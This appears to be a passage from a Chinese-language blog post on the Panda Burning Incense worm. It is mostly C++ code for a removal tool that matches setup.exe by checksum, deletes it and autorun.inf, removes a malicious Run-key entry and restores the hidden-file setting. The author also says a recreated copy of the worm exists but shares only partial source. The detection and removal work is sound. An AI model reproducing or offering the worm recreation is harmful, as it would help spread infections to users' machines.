szDriverString; while( *pTmp ) { char szAutorunPath[MAX_PATH] = { 0 }; char szSetupPath[MAX_PATH] = { 0 }; lstrcat(szAutorunPath,pTmp); lstrcat(szAutorunPath,"autorun.inf"); lstrcat(szSetupPath,pTmp); lstrcat(szSetupPath,"setup.exe"); if (GetFileAttributes(szSetupPath) == 0xFFFFFFFF) { csTxt += pTmp; csTxt += _T("setup.exe病毒檔案不存在\r\n"); } else { csTxt += pTmp; csTxt += _T("setup.exe病毒檔案存在,正在進行計算校驗和...\r\n"); HANDLE hFile = CreateFile(szSetupPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if (hFile == INVALID_HANDLE_VALUE) { AfxMessageBox("Create Error"); return ; } DWORD dwSize = GetFileSize(hFile,NULL); if (dwSize == 0xFFFFFFFF) { AfxMessageBox("GetFileSize Error"); return ; } BYTE *pFile = (BYTE*)malloc(dwSize); if (pFile == NULL) { AfxMessageBox("malloc Error"); return ; } DWORD dwNum = 0; ReadFile(hFile,pFile,dwSize,&dwNum,NULL); DWORD dwCrc32 = CRC32(pFile,dwSize); if (pFile != NULL) { free(pFile); pFile = NULL; } CloseHandle(hFile); if (dwCrc32 != 0x89240FCD) { csTxt += _T("校驗和驗證失敗\r\n"); } else { csTxt += _T("校驗和驗證成功,正在刪除...\r\n"); // 去除檔案的隱藏、系統以及只讀屬性 DWORD dwFileAttributes = GetFileAttributes(szSetupPath); dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN; dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM; dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY; SetFileAttributes(szSetupPath, dwFileAttributes); // 刪除setup.exe bRet = DeleteFile(szSetupPath); if (bRet) { csTxt += pTmp; csTxt += _T("setup.exe病毒被刪除!\r\n"); } else { csTxt += pTmp; csTxt += _T("setup.exe病毒無法刪除\r\n"); } } } // 去除檔案的隱藏、系統以及只讀屬性 DWORD dwFileAttributes = GetFileAttributes(szAutorunPath); dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN; dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM; dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY; SetFileAttributes(szAutorunPath, dwFileAttributes); // 刪除autorun.inf bRet = DeleteFile(szAutorunPath); csTxt += pTmp; if (bRet) { csTxt += _T("autorun.inf被刪除!\r\n"); } else { csTxt += _T("autorun.inf不存在或無法刪除\r\n"); } // 刪除Desktop_.ini FindFiles(pTmp); // 檢查下一個碟符 pTmp += 4; } Sleep(10); /////////////////////////////////////////////////////////////////// //修復登錄檔內容,刪除病毒啟動項並修復檔案的隱藏顯示 /////////////////////////////////////////////////////////////////// csTxt += _T("正在檢查登錄檔...\r\n"); SetDlgItemText(IDC_LIST,csTxt); // 首先檢查啟動項 char RegRun[] = "Software\Microsoft\Windows\CurrentVersion\Run"; HKEY hKeyHKCU = NULL; LONG lSize = MAXBYTE; char cData[MAXBYTE] = { 0 }; long lRet = RegOpenKey(HKEY_CURRENT_USER, RegRun, &hKeyHKCU); if(lRet == ERROR_SUCCESS) { lRet = RegQueryValueEx(hKeyHKCU,"svcshare",NULL,NULL,(unsigned char *)cData,(unsigned long *)&lSize); if ( lRet == ERROR_SUCCESS) { if (lstrcmp(cData,"C:\WINDOWS\system32\drivers\spcolsv.exe") == 0) { csTxt += _T("登錄檔啟動項中存在病毒資訊\r\n"); } lRet = RegDeleteValue(hKeyHKCU,"svcshare"); if (lRet == ERROR_SUCCESS) { csTxt += _T("登錄檔啟動項中的病毒資訊已刪除!\r\n"); } else { csTxt += _T("登錄檔啟動項中的病毒資訊無法刪除\r\n"); } } else { csTxt += _T("登錄檔啟動項中不存在病毒資訊\r\n"); } RegCloseKey(hKeyHKCU); } else { csTxt += _T("登錄檔啟動項資訊讀取失敗\r\n"); } // 接下來修復檔案的隱藏顯示,需要將CheckedValue的值設定為1 char RegHide[] = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL"; HKEY hKeyHKLM = NULL; DWORD dwFlag = 1; long lRetHide = RegOpenKey(HKEY_LOCAL_MACHINE, RegHide, &hKeyHKLM); if(lRetHide == ERROR_SUCCESS) { csTxt += _T("檢測登錄檔的檔案隱藏選項...\r\n"); if( ERROR_SUCCESS == RegSetValueEx( hKeyHKLM,//subkey handle "CheckedValue",//value name 0,//must be zero REG_DWORD,//value type (CONST BYTE*)&dwFlag, //pointer to value data 4))//length of value data { csTxt += _T("登錄檔修復完畢!\r\n"); } else { csTxt += _T("無法恢復登錄檔的檔案隱藏選項\r\n"); } } /////////////////////////////////////////////////////////////////// // 病毒查殺完成 /////////////////////////////////////////////////////////////////// csTxt += _T("病毒查殺完成,請使用專業防毒軟體進行全面掃描!\r\n"); SetDlgItemText(IDC_LIST,csTxt); }
查殺後的效果如下:
病毒的復現
我自己仿照了熊貓燒香病毒,自己編寫了個易語言版本的,我也看了吾愛破解上的C++版本的,應該是用了MFC寫的,當然我也會陸續把它放在GitHub上,這裡我只是放了一個案例,為了防止某些人拿去做非法用途,我只提供了主要原始碼。各位小主們有GitHub賬號的走過路過千萬不要吝嗇你們的 star
和 follow
。
專案下載
文章中涉及的原始碼及程式我已經開源至GitHub上,希望有GitHub賬號的大師傅可以給我賞個 star
和 follow
,感謝各位親們的支援(/▽\=)。
下載地址: GitHub